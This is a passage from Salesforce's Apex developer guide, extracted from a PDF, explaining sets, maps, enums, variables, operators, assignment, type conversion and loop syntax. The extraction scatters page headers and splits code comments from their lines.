Set<String> s1 = new Set<String>{'a', 'b + c'}; // Defines a new set with two elements
Set<String> s2 = new Set<String>(s1); // Defines a new set that contains the
// elements of the set created in the previous step

32
Data Types and Variables

Maps

To access elements in a set, use the system methods provided by Apex. For example:
Set<Integer> s = new Set<Integer>();
s.add(1);
System.assert(s.contains(1));
s.remove(1);

//
//
//
//

Define
Add an
Assert
Remove

a new set
element to the set
that the set contains an element
the element from the set

For more information, including a complete list of all supported set system methods, see Set Class on page 1157.
Note the following limitations on sets:
•
•

Unlike Java, Apex developers do not need to reference the algorithm that is used to implement a set in their declarations
(for example, HashSet or TreeSet). Apex uses a hash structure for all sets.
A set is an unordered collection. Do not rely on the order in which set results are returned. The order of objects returned
by sets may change without warning.

Maps
A map is a collection of key-value pairs where each unique key maps to a single value. Keys and values can be any data
type—primitive types, collections, sObjects, user-defined types, and built-in Apex types. For example, the following table
represents a map of countries and currencies:
Country (Key)

'United States'

'Japan'

'France'

'England'

'India'

Currency (Value)

'Dollar'

'Yen'

'Euro'

'Pound'

'Rupee'

Map keys and values can contain any collection, and can contain nested collections. For example, you can have a map of
Integers to maps, which, in turn, map Strings to lists. Map keys can contain up to only four levels of nested collections.
To declare a map, use the Map keyword followed by the data types of the key and the value within <> characters. For example:
Map<String, String> country_currencies = new Map<String, String>();
Map<ID, Set<String>> m = new Map<ID, Set<String>>();

You can use the generic or specific sObject data types with maps (you’ll learn more about maps with sObjects in a later chapter).
You can also create a generic instance of a map.
As with lists, you can populate map key-value pairs when the map is declared by using curly brace ({}) syntax. Within the
curly braces, specify the key first, then specify the value for that key using =>. For example:
Map<String, String> MyStrings = new Map<String, String>{'a' => 'b', 'c' => 'd'.toUpperCase()};

In the first example, the value for the key a is b, and the value for the key c is d.
To access elements in a map, use the Map methods provided by Apex. This example creates a map of integer keys and string
values. It adds two entries, checks for the existence of the first key, retrieves the value for the second entry, and finally gets the
set of all keys.
Map<Integer, String> m = new Map<Integer, String>(); // Define a new map
m.put(1, 'First entry');
// Insert a new key-value pair in the map
m.put(2, 'Second entry');
// Insert a new key-value pair in the map
System.assert(m.containsKey(1)); // Assert that the map contains a key
String value = m.get(2);
// Retrieve a value, given a particular key
System.assertEquals('Second entry', value);
Set<Integer> s = m.keySet();
// Return a set that contains all of the keys in the map

33
Data Types and Variables

Parameterized Typing

For more information, including a complete list of all supported Map methods, see Map Class on page 1068.
Map Considerations
•
•
•
•
•

•

Unlike Java, Apex developers do not need to reference the algorithm that is used to implement a map in their declarations
(for example, HashMap or TreeMap). Apex uses a hash structure for all maps.
Do not rely on the order in which map results are returned. The order of objects returned by maps may change without
warning. Always access map elements by key.
A map key can hold the null value.
Adding a map entry with a key that matches an existing key in the map overwrites the existing entry with that key with
the new entry.
Map keys of type String are case-sensitive. Two keys that differ only by the case are considered unique and have corresponding
distinct Map entries. Subsequently, the Map methods, including put, get, containsKey, and remove treat these keys
as distinct.
Uniqueness of map keys of user-defined types is determined by the equals and hashCode methods, which you provide
in your classes. Uniqueness of keys of all other non-primitive types, such as sObject keys, is determined by comparing the
objects’ field values.

Parameterized Typing
Apex, in general, is a statically-typed programming language, which means users must specify the data type for a variable
before that variable can be used. For example, the following is legal in Apex:
Integer x = 1;

The following is not legal if x has not been defined earlier:
x = 1;

Lists, maps and sets are parameterized in Apex: they take any data type Apex supports for them as an argument. That data
type must be replaced with an actual data type upon construction of the list, map or set. For example:
List<String> myList = new List<String>();

Subtyping with Parameterized Lists
In Apex, if type T is a subtype of U, then List<T> would be a subtype of List<U>. For example, the following is legal:
List<String> slst = new List<String> {'foo', 'bar'};
List<Object> olst = slst;

Enums
An enum is an abstract data type with values that each take on exactly one of a finite set of identifiers that you specify. Enums
are typically used to define a set of possible values that don’t otherwise have a numerical order, such as the suit of a card, or a
particular season of the year. Although each value corresponds to a distinct integer value, the enum hides this implementation
so that you don’t inadvertently misuse the values, such as using them to perform arithmetic. After you create an enum, variables,
method arguments, and return types can be declared of that type.
Note: Unlike Java, the enum type itself has no constructor syntax.

34
Data Types and Variables

Enums

To define an enum, use the enum keyword in your declaration and use curly braces to demarcate the list of possible values.
For example, the following code creates an enum called Season:
public enum Season {WINTER, SPRING, SUMMER, FALL}

By creating the enum Season, you have also created a new data type called Season. You can use this new data type as you
might any other data type. For example:
Season e = Season.WINTER;
Season m(Integer x, Season e) {
if (e == Season.SUMMER) return e;
//...
}

You can also define a class as an enum. Note that when you create an enum class you do not use the class keyword in the
definition.
public enum MyEnumClass { X, Y }

You can use an enum in any place you can use another data type name. If you define a variable whose type is an enum, any
object you assign to it must be an instance of that enum class.
Any webService methods can use enum types as part of their signature. When this occurs, the associated WSDL file includes
definitions for the enum and its values, which can then be used by the API client.
Apex provides the following system-defined enums:
•

System.StatusCode

This enum corresponds to the API error code that is exposed in the WSDL document for all API operations. For example:
StatusCode.CANNOT_INSERT_UPDATE_ACTIVATE_ENTITY
StatusCode.INSUFFICIENT_ACCESS_ON_CROSS_REFERENCE_ENTITY

The full list of status codes is available in the WSDL file for your organization. For more information about accessing the
WSDL file for your organization, see “Downloading Salesforce WSDLs and Client Authentication Certificates” in the
Salesforce online help.
•

System.XmlTag:

This enum returns a list of XML tags used for parsing the result XML from a webService method. For more information,
see XmlStreamReader Class.
•

System.ApplicationReadWriteMode: This enum indicates if an organization is in 5 Minute Upgrade read-only mode
during Salesforce upgrades and downtimes. For more information, see Using the System.ApplicationReadWriteMode

Enum.
•

System.LoggingLevel:

This enum is used with the system.debug method, to specify the log level for all debug calls. For more information,
see System Class.
•

System.RoundingMode:

This enum is used by methods that perform mathematical operations to specify the rounding behavior for the operation,
such as the Decimal divide method and the Double round method. For more information, see Rounding Mode.
•

System.SoapType:

This enum is returned by the field describe result getSoapType method. For more informations, see SOAPType Enum.
35
Data Types and Variables

•

Variables

System.DisplayType:

This enum is returned by the field describe result getType method. For more information, see DisplayType Enum.
•

System.JSONToken:

This enum is used for parsing JSON content. For more information, see JSONToken Enum.
•

ApexPages.Severity:

This enum specifies the severity of a Visualforce message. For more information, see ApexPages.Severity Enum.
•

Dom.XmlNodeType:

This enum specifies the node type in a DOM document.
Note: System-defined enums cannot be used in Web service methods.

All enum values, including system enums, have common methods associated with them. For more information, see Enum
Methods.
You cannot add user-defined methods to enum values.

Variables
Local variables are declared with Java-style syntax. For example:
Integer i = 0;
String str;
List<String> strList;
Set<String> s;
Map<ID, String> m;

As with Java, multiple variables can be declared and initialized in a single statement, using comma separation. For example:
Integer i, j, k;

Null Variables and Initial Values
If you declare a variable and don't initialize it with a value, it will be null. In essence, null means the absence of a value.
You can also assign null to any variable declared with a primitive type. For example, both of these statements result in a
variable set to null:
Boolean x = null;
Decimal d;

Many instance methods on the data type will fail if the variable is null. In this example, the second statement generates an
exception (NullPointerException)
Date d;
d.addDays(2);

All variables are initialized to null if they aren’t assigned a value. For instance, in the following example, i, and k are assigned
values, while the integer variable j and the boolean variable b are set to null because they aren’t explicitly initialized.
Integer i = 0, j, k = 1;
Boolean b;

36
Data Types and Variables

Constants

Note: A common pitfall is to assume that an uninitialized boolean variable is initialized to false by the system.
This isn’t the case. Like all other variables, boolean variables are null if not assigned a value explicitly.

Variable Scope
Variables can be defined at any point in a block, and take on scope from that point forward. Sub-blocks can’t redefine a variable
name that has already been used in a parent block, but parallel blocks can reuse a variable name. For example:
Integer i;
{
// Integer i;
}

This declaration is not allowed

for (Integer j = 0; j < 10; j++);
for (Integer j = 0; j < 10; j++);

Case Sensitivity
To avoid confusion with case-insensitive SOQL and SOSL queries, Apex is also case-insensitive. This means:
•

Variable and method names are case-insensitive. For example:
Integer I;
//Integer i;

•

This would be an error.

References to object and field names are case-insensitive. For example:
Account a1;
ACCOUNT a2;

•

SOQL and SOSL statements are case- insensitive. For example:
Account[] accts = [sELect ID From ACCouNT where nAme = 'fred'];

Note: You’ll learn more about sObjects, SOQL and SOSL later in this guide.

Also note that Apex uses the same filtering semantics as SOQL, which is the basis for comparisons in the SOAP API and
the Salesforce user interface. The use of these semantics can lead to some interesting behavior. For example, if an end-user
generates a report based on a filter for values that come before 'm' in the alphabet (that is, values < 'm'), null fields are returned
in the result. The rationale for this behavior is that users typically think of a field without a value as just a space character,
rather than its actual null value. Consequently, in Apex, the following expressions all evaluate to true:
String s;
System.assert('a' == 'A');
System.assert(s < 'b');
System.assert(!(s > 'b'));

Note: Although s < 'b' evaluates to true in the example above, 'b.'compareTo(s) generates an error because
you’re trying to compare a letter to a null value.

Constants
Apex constants are variables whose values don’t change after being initialized once.
37
Data Types and Variables

Expressions and Operators

Constants can be defined using the final keyword, which means that the variable can be assigned at most once, either in
the declaration itself, or with a static initializer method if the constant is defined in a class. This example declares two constants.
The first is initialized in the declaration statement. The second is assigned a value in a static block by calling a static method.
public class myCls {
static final Integer PRIVATE_INT_CONST = 200;
static final Integer PRIVATE_INT_CONST2;
public static Integer calculate() {
return 2 + 7;
}
static {
PRIVATE_INT_CONST2 = calculate();
}
}

For more information, see Using the final Keyword on page 74.

Expressions and Operators
An expression is a construct made up of variables, operators, and method invocations that evaluates to a single value. This
section provides an overview of expressions in Apex and contains the following:
•
•
•
•
•

Understanding Expressions
Understanding Expression Operators
Understanding Operator Precedence
Expanding sObject and List Expressions
Using Comments

Understanding Expressions
An expression is a construct made up of variables, operators, and method invocations that evaluates to a single value. In Apex,
an expression is always one of the following types:
•

A literal expression. For example:
1 + 1

•

A new sObject, Apex object, list, set, or map. For example:
new
new
new
new
new
new
new

•

Account(<field_initializers>)
Integer[<n>]
Account[]{<elements>}
List<Account>()
Set<String>{}
Map<String, Integer>()
myRenamingClass(string oldName, string newName)

Any value that can act as the left-hand of an assignment operator (L-values), including variables, one-dimensional list
positions, and most sObject or Apex object field references. For example:
Integer i
myList[3]
myContact.name
myRenamingClass.oldName

38
Data Types and Variables

Understanding Expression Operators

Any sObject field reference that is not an L-value, including:

•

◊ The ID of an sObject in a list (see Lists)
◊ A set of child records associated with an sObject (for example, the set of contacts associated with a particular account).
This type of expression yields a query result, much like SOQL and SOSL queries.
A SOQL or SOSL query surrounded by square brackets, allowing for on-the-fly evaluation in Apex. For example:

•

Account[] aa = [SELECT Id, Name FROM Account WHERE Name ='Acme'];
Integer i = [SELECT COUNT() FROM Contact WHERE LastName ='Weissman'];
List<List<SObject>> searchList = [FIND 'map*' IN ALL FIELDS RETURNING Account (Id, Name),
Contact, Opportunity, Lead];

For information, see SOQL and SOSL Queries on page 125.
A static or instance method invocation. For example:

•

System.assert(true)
myRenamingClass.replaceNames()
changePoint(new Point(x, y));

Understanding Expression Operators
Expressions can also be joined to one another with operators to create compound expressions. Apex supports the following
operators:
Operator

Syntax

Description

=

x = y

Assignment operator (Right associative). Assigns the value of y to the L-value
x. Note that the data type of x must match the data type of y, and cannot be
null.

+=

x += y

Addition assignment operator (Right associative). Adds the value of y to
the original value of x and then reassigns the new value to x. See + for
additional information. x and y cannot be null.

*=

x *= y

Multiplication assignment operator (Right associative). Multiplies the value
of y with the original value of x and then reassigns the new value to x. Note
that x and y must be Integers or Doubles, or a combination. x and y cannot
be null.

-=

x -= y

Subtraction assignment operator (Right associative). Subtracts the value of
y from the original value of x and then reassigns the new value to x. Note
that x and y must be Integers or Doubles, or a combination. x and y cannot
be null.

/=

x /= y

Division assignment operator (Right associative). Divides the original value
of x with the value of y and then reassigns the new value to x. Note that x
and y must be Integers or Doubles, or a combination. x and y cannot be
null.

39
Data Types and Variables

Understanding Expression Operators

Operator

Syntax

Description

|=

x |= y

OR assignment operator (Right associative). If x, a Boolean, and y, a Boolean,
are both false, then x remains false. Otherwise, x is assigned the value of true.
Note:
•
•

&=

x &= y

This operator exhibits “short-circuiting” behavior, which means y is
evaluated only if x is false.
x and y cannot be null.

AND assignment operator (Right associative). If x, a Boolean, and y, a
Boolean, are both true, then x remains true. Otherwise, x is assigned the value
of false.
Note:
•
•

This operator exhibits “short-circuiting” behavior, which means y is
evaluated only if x is true.
x and y cannot be null.

<<=

x <<= y

Bitwise shift left assignment operator. Shifts each bit in x to the left by y
bits so that the high order bits are lost, and the new right bits are set to 0.
This value is then reassigned to x.

>>=

x >>= y

Bitwise shift right signed assignment operator. Shifts each bit in x to the
right by y bits so that the low order bits are lost, and the new left bits are set
to 0 for positive values of y and 1 for negative values of y. This value is then
reassigned to x.

>>>=

x >>>= y

Bitwise shift right unsigned assignment operator. Shifts each bit in x to the
right by y bits so that the low order bits are lost, and the new left bits are set
to 0 for all values of y. This value is then reassigned to x.

? :

x ? y : z

Ternary operator (Right associative). This operator acts as a short-hand for
if-then-else statements. If x, a Boolean, is true, y is the result. Otherwise z
is the result. Note that x cannot be null.

&&

x && y

AND logical operator (Left associative). If x, a Boolean, and y, a Boolean,
are both true, then the expression evaluates to true. Otherwise the expression
evaluates to false.
Note:
•
•
•

||

x || y

&& has precedence over ||

This operator exhibits “short-circuiting” behavior, which means y is
evaluated only if x is true.
x and y cannot be null.

OR logical operator (Left associative). If x, a Boolean, and y, a Boolean, are
both false, then the expression evaluates to false. Otherwise the expression
evaluates to true.
Note:
•

&& has precedence over ||

40
Data Types and Variables

Operator

Syntax

Understanding Expression Operators

Description
•
•

==

x == y

This operator exhibits “short-circuiting” behavior, which means y is
evaluated only if x is false.
x and y cannot be null.

Equality operator. If the value of x equals the value of y, the expression
evaluates to true. Otherwise, the expression evaluates to false.
Note:
•

Unlike Java, == in Apex compares object value equality, not reference
equality, except for user-defined types. Consequently:
◊ String comparison using == is case insensitive
◊ ID comparison using == is case sensitive, and does not distinguish
between 15-character and 18-character formats
◊ User-defined types are compared by reference, which means that two
objects are equal only if they reference the same location in memory.
You can override this default comparison behavior by providing equals
and hashCode methods in your class to compare object values instead.

•

•
•
•
•

For sObjects and sObject arrays, == performs a deep check of all sObject
field values before returning its result. Likewise for collections and built-in
Apex objects.
For records, every field must have the same value for == to evaluate to
true.
x or y can be the literal null.
The comparison of any two values can never result in null.
SOQL and SOSL use = for their equality operator, and not ==. Although
Apex and SOQL and SOSL are strongly linked, this unfortunate syntax
discrepancy exists because most modern languages use = for assignment
and == for equality. The designers of Apex deemed it more valuable to
maintain this paradigm than to force developers to learn a new assignment
operator. The result is that Apex developers must use == for equality tests
in the main body of the Apex code, and = for equality in SOQL and SOSL
queries.

===

x === y

Exact equality operator. If x and y reference the exact same location in
memory, the expression evaluates to true. Otherwise, the expression evaluates
to false.

<

x < y

Less than operator. If x is less than y, the expression evaluates to true.
Otherwise, the expression evaluates to false.
Note:
•

•
•

Unlike other database stored procedures, Apex does not support tri-state
Boolean logic, and the comparison of any two values can never result in
null.
If x or y equal null and are Integers, Doubles, Dates, or Datetimes, the
expression is false.
A non-null String or ID value is always greater than a null value.

41
Data Types and Variables

Operator

Syntax

Understanding Expression Operators

Description
•
•
•
•

>

x > y

If x and y are IDs, they must reference the same type of object. Otherwise,
a runtime error results.
If x or y is an ID and the other value is a String, the String value is
validated and treated as an ID.
x and y cannot be Booleans.
The comparison of two strings is performed according to the locale of the
context user.

Greater than operator. If x is greater than y, the expression evaluates to true.
Otherwise, the expression evaluates to false.
Note:
•
•
•
•
•
•
•

<=

x <= y

The comparison of any two values can never result in null.
If x or y equal null and are Integers, Doubles, Dates, or Datetimes, the
expression is false.
A non-null String or ID value is always greater than a null value.
If x and y are IDs, they must reference the same type of object. Otherwise,
a runtime error results.
If x or y is an ID and the other value is a String, the String value is
validated and treated as an ID.
x and y cannot be Booleans.
The comparison of two strings is performed according to the locale of the
context user.

Less than or equal to operator. If x is less than or equal to y, the expression
evaluates to true. Otherwise, the expression evaluates to false.
Note:
•
•
•
•
•
•
•

>=

x >= y

The comparison of any two values can never result in null.
If x or y equal null and are Integers, Doubles, Dates, or Datetimes, the
expression is false.
A non-null String or ID value is always greater than a null value.
If x and y are IDs, they must reference the same type of object. Otherwise,
a runtime error results.
If x or y is an ID and the other value is a String, the String value is
validated and treated as an ID.
x and y cannot be Booleans.
The comparison of two strings is performed according to the locale of the
context user.

Greater than or equal to operator. If x is greater than or equal to y, the
expression evaluates to true. Otherwise, the expression evaluates to false.
Note:
•
•

The comparison of any two values can never result in null.
If x or y equal null and are Integers, Doubles, Dates, or Datetimes, the
expression is false.

42
Data Types and Variables

Operator

Syntax

Understanding Expression Operators

Description
•
•
•
•
•

!=

x != y

A non-null String or ID value is always greater than a null value.
If x and y are IDs, they must reference the same type of object. Otherwise,
a runtime error results.
If x or y is an ID and the other value is a String, the String value is
validated and treated as an ID.
x and y cannot be Booleans.
The comparison of two strings is performed according to the locale of the
context user.

Inequality operator. If the value of x does not equal the value of y, the
expression evaluates to true. Otherwise, the expression evaluates to false.
Note:
•
•
•
•

•
•

Unlike Java, != in Apex compares object value equality, not reference
equality, except for user-defined types.
For sObjects and sObject arrays, != performs a deep check of all sObject
field values before returning its result.
For records, != evaluates to true if the records have different values for
any field.
User-defined types are compared by reference, which means that two
objects are different only if they reference different locations in memory.
You can override this default comparison behavior by providing equals
and hashCode methods in your class to compare object values instead.
x or y can be the literal null.
The comparison of any two values can never result in null.

!==

x !== y

Exact inequality operator. If x and y do not reference the exact same location
in memory, the expression evaluates to true. Otherwise, the expression evaluates
to false.

+

x + y

Addition operator. Adds the value of x to the value of y according to the
following rules:
• If x and y are Integers or Doubles, adds the value of x to the value of y.
If a Double is used, the result is a Double.
• If x is a Date and y is an Integer, returns a new Date that is incremented
by the specified number of days.
• If x is a Datetime and y is an Integer or Double, returns a new Date that
is incremented by the specified number of days, with the fractional portion
corresponding to a portion of a day.
• If x is a String and y is a String or any other type of non-null argument,
concatenates y to the end of x.

-

x - y

Subtraction operator. Subtracts the value of y from the value of x according
to the following rules:
• If x and y are Integers or Doubles, subtracts the value of x from the value
of y. If a Double is used, the result is a Double.
• If x is a Date and y is an Integer, returns a new Date that is decremented
by the specified number of days.
43
Data Types and Variables

Operator

Syntax

Understanding Expression Operators

Description
•

If x is a Datetime and y is an Integer or Double, returns a new Date that
is decremented by the specified number of days, with the fractional portion
corresponding to a portion of a day.

*

x * y

Multiplication operator. Multiplies x, an Integer or Double, with y, another
Integer or Double. Note that if a double is used, the result is a Double.

/

x / y

Division operator. Divides x, an Integer or Double, by y, another Integer or
Double. Note that if a double is used, the result is a Double.

!

!x

Logical complement operator. Inverts the value of a Boolean, so that true
becomes false, and false becomes true.

-

-x

Unary negation operator. Multiplies the value of x, an Integer or Double,
by -1. Note that the positive equivalent + is also syntactically valid, but does
not have a mathematical effect.

++

x++

Increment operator. Adds 1 to the value of x, a variable of a numeric type.
If prefixed (++x), the expression evaluates to the value of x after the increment.
If postfixed (x++), the expression evaluates to the value of x before the
increment.

++x

--

x---x

Decrement operator. Subtracts 1 from the value of x, a variable of a numeric
type. If prefixed (--x), the expression evaluates to the value of x after the
decrement. If postfixed (x--), the expression evaluates to the value of x before
the decrement.

&

x & y

Bitwise AND operator. ANDs each bit in x with the corresponding bit in y
so that the result bit is set to 1 if both of the bits are set to 1. This operator
is not valid for types Long or Integer.

|

x | y

Bitwise OR operator. ORs each bit in x with the corresponding bit in y so
that the result bit is set to 1 if at least one of the bits is set to 1. This operator
is not valid for types Long or Integer.

^

x ^ y

Bitwise exclusive OR operator. Exclusive ORs each bit in x with the
corresponding bit in y so that the result bit is set to 1 if exactly one of the bits
is set to 1 and the other bit is set to 0.

^=

x ^= y

Bitwise exclusive OR operator. Exclusive ORs each bit in x with the
corresponding bit in y so that the result bit is set to 1 if exactly one of the bits
is set to 1 and the other bit is set to 0.

<<

x << y

Bitwise shift left operator. Shifts each bit in x to the left by y bits so that the
high order bits are lost, and the new right bits are set to 0.

>>

x >> y

Bitwise shift right signed operator. Shifts each bit in x to the right by y bits
so that the low order bits are lost, and the new left bits are set to 0 for positive
values of y and 1 for negative values of y.

>>>

x >>> y

Bitwise shift right unsigned operator. Shifts each bit in x to the right by y
bits so that the low order bits are lost, and the new left bits are set to 0 for all
values of y.

()

(x)

Parentheses. Elevates the precedence of an expression x so that it is evaluated
first in a compound expression.
44
Data Types and Variables

Understanding Operator Precedence

Understanding Operator Precedence
Apex uses the following operator precedence rules:
Precedence

Operators

Description

1

{} () ++ --

Grouping and prefix increments and decrements

2

! -x +x (type) new

Unary negation, type cast and object creation

3

* /

Multiplication and division

4

+ -

Addition and subtraction

5

< <= > >= instanceof

Greater-than and less-than comparisons, reference
tests

6

== !=

Comparisons: equal and not-equal

7

&&

Logical AND

8

||

Logical OR

9

= += -= *= /= &=

Assignment operators

Using Comments
Both single and multiline comments are supported in Apex code:
•

To create a single line comment, use //. All characters on the same line to the right of the // are ignored by the parser.
For example:
Integer i = 1; // This comment is ignored by the parser

•

To create a multiline comment, use /* and */ to demarcate the beginning and end of the comment block. For example:
Integer i = 1; /* This comment can wrap over multiple
lines without getting interpreted by the
parser. */

Assignment Statements
An assignment statement is any statement that places a value into a variable, generally in one of the following two forms:
[LValue] = [new_value_expression];
[LValue] = [[inline_soql_query]];

In the forms above, [LValue] stands for any expression that can be placed on the left side of an assignment operator. These
include:

45
Data Types and Variables

•

Assignment Statements

A simple variable. For example:
Integer i = 1;
Account a = new Account();
Account[] accts = [SELECT Id FROM Account];

•

A de-referenced list element. For example:
ints[0] = 1;
accts[0].Name = 'Acme';

•

An sObject field reference that the context user has permission to edit. For example:
Account a = new Account(Name = 'Acme', BillingCity = 'San Francisco');
// IDs cannot be set prior to an insert call
// a.Id = '00300000003T2PGAA0';
// Instead, insert the record. The system automatically assigns it an ID.
insert a;
// Fields also must be writeable for the context user
// a.CreatedDate = System.today(); This code is invalid because
//
createdDate is read-only!
// Since the account a has been inserted, it is now possible to
// create a new contact that is related to it
Contact c = new Contact(LastName = 'Roth', Account = a);
// Notice that you can write to the account name directly through the contact
c.Account.Name = 'salesforce.com';

Assignment is always done by reference. For example:
Account a = new Account();
Account b;
Account[] c = new Account[]{};
a.Name = 'Acme';
b = a;
c.add(a);
// These asserts should now be true. You can reference the data
// originally allocated to account a through account b and account list c.
System.assertEquals(b.Name, 'Acme');
System.assertEquals(c[0].Name, 'Acme');

Similarly, two lists can point at the same value in memory. For example:
Account[] a = new Account[]{new Account()};
Account[] b = a;
a[0].Name = 'Acme';
System.assert(b[0].Name == 'Acme');

In addition to =, other valid assignment operators include +=, *=, /=, |=, &=, ++, and --. See Understanding Expression
Operators on page 39.

46
Data Types and Variables

Understanding Rules of Conversion

Understanding Rules of Conversion
In general, Apex requires you to explicitly convert one data type to another. For example, a variable of the Integer data type
cannot be implicitly converted to a String. You must use the string.format method. However, a few data types can be
implicitly converted, without using a method.
Numbers form a hierarchy of types. Variables of lower numeric types can always be assigned to higher types without explicit
conversion. The following is the hierarchy for numbers, from lowest to highest:
1.
2.
3.
4.

Integer
Long
Double
Decimal
Note: Once a value has been passed from a number of a lower type to a number of a higher type, the value is converted
to the higher type of number.

Note that the hierarchy and implicit conversion is unlike the Java hierarchy of numbers, where the base interface number is
used and implicit object conversion is never allowed.
In addition to numbers, other data types can be implicitly converted. The following rules apply:
•
•
•

IDs can always be assigned to Strings.
Strings can be assigned to IDs. However, at runtime, the value is checked to ensure that it is a legitimate ID. If it is not,
a runtime exception is thrown.
The instanceOf keyword can always be used to test whether a string is an ID.

Additional Considerations for Data Types
Data Types of Numeric Values
Numeric values represent Integer values unless they are appended with L for a Long or with .0 for a Double or Decimal.
For example, the expression Long d = 123; declares a Long variable named d and assigns it to an Integer numeric
value (123), which is implicitly converted to a Long. The Integer value on the right hand side is within the range for
Integers and the assignment succeeds. However, if the numeric value on the right hand side exceeds the maximum value
for an Integer, you get a compilation error. In this case, the solution is to append L to the numeric value so that it
represents a Long value which has a wider range, as shown in this example: Long d = 2147483648L;.
Overflow of Data Type Values
Arithmetic computations that produce values larger than the maximum value of the current type are said to overflow.
For example, Integer i = 2147483647 + 1; yields a value of –2147483648 because 2147483647 is the maximum
value for an Integer, so adding one to it wraps the value around to the minimum negative value for Integers, –2147483648.
If arithmetic computations generate results larger than the maximum value for the current type, the end result will be
incorrect because the computed values that are larger than the maximum will overflow. For example, the expression
Long MillsPerYear = 365 * 24 * 60 * 60 * 1000; results in an incorrect result because the products of
Integers on the right hand side are larger than the maximum Integer value and they overflow. As a result, the final
product isn't the expected one. You can avoid this by ensuring that the type of numeric values or variables you are using
in arithmetic operations are large enough to hold the results. In this example, append L to numeric values to make them
Long so the intermediate products will be Long as well and no overflow occurs. The following example shows how to
correctly compute the amount of milliseconds in a year by multiplying Long numeric values.
Long MillsPerYear = 365L * 24L * 60L * 60L * 1000L;
Long ExpectedValue = 31536000000L;
System.assertEquals(MillsPerYear, ExpectedValue);

47
Data Types and Variables

Understanding Rules of Conversion

Loss of Fractions in Divisions
When dividing numeric Integer or Long values, the fractional portion of the result, if any, is removed before performing
any implicit conversions to a Double or Decimal. For example, Double d = 5/3; returns 1.0 because the actual result
(1.666...) is an Integer and is rounded to 1 before being implicitly converted to a Double. To preserve the fractional
value, ensure that you are using Double or Decimal numeric values in the division. For example, Double d = 5.0/3.0;
returns 1.6666666666666667 because 5.0 and 3.0 represent Double values, which results in the quotient being a Double
as well and no fractional value is lost.

48
Chapter 5
Control Flow Statements
In this chapter ...

Apex provides statements that control the flow of code execution.

•
•

Statements are generally executed line by line, in the order they appear. With
control flow statements, you can cause Apex code to execute based on a certain
condition or you can have a block of code execute repeatedly. This section
describes these control flow statements: if-else statements and loops.

Conditional (If-Else) Statements
Loops

49
Control Flow Statements

Conditional (If-Else) Statements

Conditional (If-Else) Statements
The conditional statement in Apex works similarly to Java:
if ([Boolean_condition])
// Statement 1
else
// Statement 2

The else portion is always optional, and always groups with the closest if. For example:
Integer x, sign;
// Your code
if (x <= 0) if (x == 0) sign = 0; else sign = -1;

is equivalent to:
Integer x, sign;
// Your code
if (x <= 0) {
if (x == 0) {
sign = 0;
} else {
sign = -1;
}
}

Repeated else if statements are also allowed. For example:
if (place == 1) {
medal_color = 'gold';
} else if (place == 2) {
medal_color = 'silver';
} else if (place == 3) {
medal_color = 'bronze';
} else {
medal_color = null;
}

Loops
Apex supports the following five types of procedural loops:
•
•
•
•
•

do {statement} while (Boolean_condition);
while (Boolean_condition) statement;
for (initialization; Boolean_exit_condition; increment) statement;
for (variable : array_or_set) statement;
for (variable : [inline_soql_query]) statement;

All loops allow for loop control structures:
•
•

break; exits the entire loop
continue; skips to the next iteration of the loop

50
Control Flow Statements

Do-While Loops

Do-While Loops
The Apex do-while loop repeatedly executes a block of code as long as a particular Boolean condition remains true. Its syntax
is:
do {
code_block
} while (condition);

Note: Curly braces ({}) are always required around a code_block.

As in Java, the Apex do-while loop does not check the Boolean condition statement until after the first loop is executed.
Consequently, the code block always runs at least once.
As an example, the following code outputs the numbers 1 - 10 into the debug log:
Integer count = 1;
do {
System.debug(count);
count++;
} while (count < 11);

While Loops
The Apex while loop repeatedly executes a block of code as long as a particular Boolean condition remains true. Its syntax
is:
while (condition) {
code_block
}

Note: Curly braces ({}) are required around a code_block only if the block contains more than one statement.

Unlike do-while, the while loop checks the Boolean condition statement before the first loop is executed. Consequently,
it is possible for the code block to never execute.
As an example, the following code outputs the numbers 1 - 10 into the debug log:
Integer count = 1;
while (count < 11) {
System.debug(count);
count++;
}

For Loops
Apex supports three variations of the for loop:

51
Control Flow Statements

•

For Loops

The traditional for loop:
for (init_stmt; exit_condition; increment_stmt) {
code_block
}

•

The list or set iteration for loop:
for (variable : list_or_set) {
code_block
}

where variable must be of the same primitive or sObject type as list_or_set.
•

The SOQL for loop:
for (variable : [soql_query]) {
code_block
}

or
for (variable_list : [soql_query]) {
code_block
}

Both variable and variable_list must be of the same sObject type as is returned by the soql_query.
Note: Curly braces ({}) are required around a code_block only if the block contains more than one statement.

Each is discussed further in the sections that follow.

Traditional For Loops
The traditional for loop in Apex corresponds to the traditional syntax used in Java and other languages. Its syntax is:
for (init_stmt; exit_condition; increment_stmt) {
code_block
}

When executing this type of for loop, the Apex runtime engine performs the following steps, in order:
1. Execute the init_stmt component of the loop. Note that multiple variables can be declared and/or initialized in this
statement.
2. Perform the exit_condition check. If true, the loop continues. If false, the loop exits.
3. Execute the code_block.
4. Execute the increment_stmt statement.
5. Return to Step 2.
As an example, the following code outputs the numbers 1 - 10 into the debug log. Note that an additional initialization variable,
j, is included to demonstrate the syntax:
for (Integer i = 0, j = 0; i < 10; i++) {
System.debug(i+1);
}

52
Control Flow Statements

For Loops

List or Set Iteration for Loops
The list or set iteration for loop iterates over all the elements in a list or set. Its syntax is:
for (variable : list_or_set) {
code_block
}

where variable must be of the same primitive or sObject type as list_or_set.
When executing this type of for loop, the Apex runtime engine assigns variable to each element in list_or_set, and
runs the code_block for each value.
For example, the following code outputs the numbers 1 - 10 to the debug log:
Integer[] myInts = new Integer[]{1, 2, 3, 4, 5, 6, 7, 8, 9, 10};
for (Integer i : myInts) {
System.debug(i);
}

Iterating Collections
Collections can consist of lists, sets, or maps. Modifying a collection's elements while iterating through that collection is not
supported and causes an error. Do not directly add or remove elements while iterating through the collection that includes
them.
Adding Elements During Iteration
To add elements while iterating a list, set or map, keep the new elements in a temporary list, set, or map and add them to the
original after you finish iterating the collection.
Removing Elements During Iteration
To remove elements while iterating a list, create a new list, then copy the elements you wish to keep. Alternatively, add the
elements you wish to remove to a temporary list and remove them after you finish iterating the collection.
Note:
The List.remove method performs linearly. Using it to remove elements has time and resource implications.
To remove elements while iterating a map or set, keep the keys you wish to remove in a temporary list, then remove them
after you finish iterating the collection.

53
Chapter 6
Classes, Objects, and Interfaces
In this chapter ...
•
•
•
•
•
•
•
•
•
•
•

Understanding Classes
Understanding Interfaces
Keywords
Annotations
Classes and Casting
Differences Between Apex Classes
and Java Classes
Class Definition Creation
Namespace Prefix
Apex Code Versions
Lists of Custom Types and Sorting
Using Custom Types in Map Keys
and Sets

